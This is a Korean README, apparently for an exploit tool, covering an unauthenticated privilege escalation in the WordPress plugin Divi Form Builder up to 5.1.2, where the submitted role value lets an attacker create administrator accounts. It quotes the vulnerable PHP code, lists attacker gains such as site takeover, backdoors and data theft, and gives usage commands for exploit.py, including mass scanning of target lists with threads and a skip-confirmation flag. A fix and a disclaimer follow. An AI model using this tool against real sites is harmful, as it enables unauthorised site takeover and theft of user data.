
Divi Form Builder <= 5.1.2 — 인증되지 않은 역할 주입을 통한 권한 상승
🔥 취약점 요약
WordPress 플러그인 Divi Form Builder 버전 <= 5.1.2는 인증되지 않은 권한 상승 취약점에 취약합니다. 이 심각한 결함으로 인해 인증되지 않은 공격자가 문의 양식, 견적 양식, 뉴스레터 양식 또는 기타 DFB 지원 양식을 포함한 모든 Divi Form Builder 양식을 통해 직접 관리자 계정을 생성할 수 있습니다.
취약점은 FormSubmissionHandler.php 파일의 create_user() 함수에서 비롯됩니다. 이 함수는 적절한 인증 또는 허용 목록 검증 없이 사용자가 제출한 POST 데이터에서 role 매개변수를 직접 수락합니다. 플러그인은 제출된 역할이 시스템에 존재하는지만 확인합니다(예: administrator는 유효한 WordPress 역할). 공개 등록에 안전한 역할인지는 절대 확인하지 않습니다.
획기적인 발견: Divi Form Builder에서 사용하는 fb_nonce는 전역 공유 nonce(wp_create_nonce('security'))로, 사이트의 모든 양식에서 동일합니다. 또한 form_type=register는 공유 AJAX 핸들러로 POST를 통해 재정의될 수 있습니다. 즉, 모든 DFB 양식(문의, 견적, 피드백 등)을 무기화하여 임의의 역할 할당으로 사용자 등록을 트리거할 수 있습니다.
🔍 영향받는 플러그인
🧨 공격자가 할 수 있는 일
🧪 익스플로잇 기능
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator 전송result.txt🧠 취약한 코드
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 사용법
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
targets.txt 파일 생성:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 수정 권장 사항
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role 숨김 입력을 완전히 제거하세요.current_user_can('create_users') 기능 검사를 추가하세요.🧠 연구자
📚 참고 자료
🔒 면책 조항:
이 정보는 교육 및 공인된 침투 테스트 목적으로만 제공됩니다. 허가 없이 컴퓨터 시스템을 악용하는 것은 불법이며 비윤리적입니다. 소유하지 않은 대상에 대해 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
| 기능 | 영향 |
|---|
| 🔑 로그인 없이 관리자 계정 생성 | 전체 사이트 장악 |
| 📦 WooCommerce 고객 데이터 접근 | 데이터 유출 |
| 💉 플러그인/테마 PHP 파일 편집 | 원격 코드 실행 |
| 🕳️ 숨겨진 백도어 설치 | 지속적 접근 |
| 👥 모든 사용자 데이터 보기 | 개인정보 침해 |
| 플래그 | 설명 |
|---|
-t, --target | 단일 대상 URL |
-l, --list | 대상 목록 파일 (한 줄에 하나, http/https 선택 사항) |
-T, --threads | 대량 스캔 스레드 수 (기본값: 10) |
-o, --output | 결과 출력 파일 (기본값: result.txt) |
-u, --username | 새 계정의 사용자 이름 |
-p, --password | 새 계정의 비밀번호 |
-e, --email | 새 계정의 이메일 |
-v, --verbose | 상세 디버그 출력 |
--no-confirm | 권한 확인 프롬프트 건너뛰기 |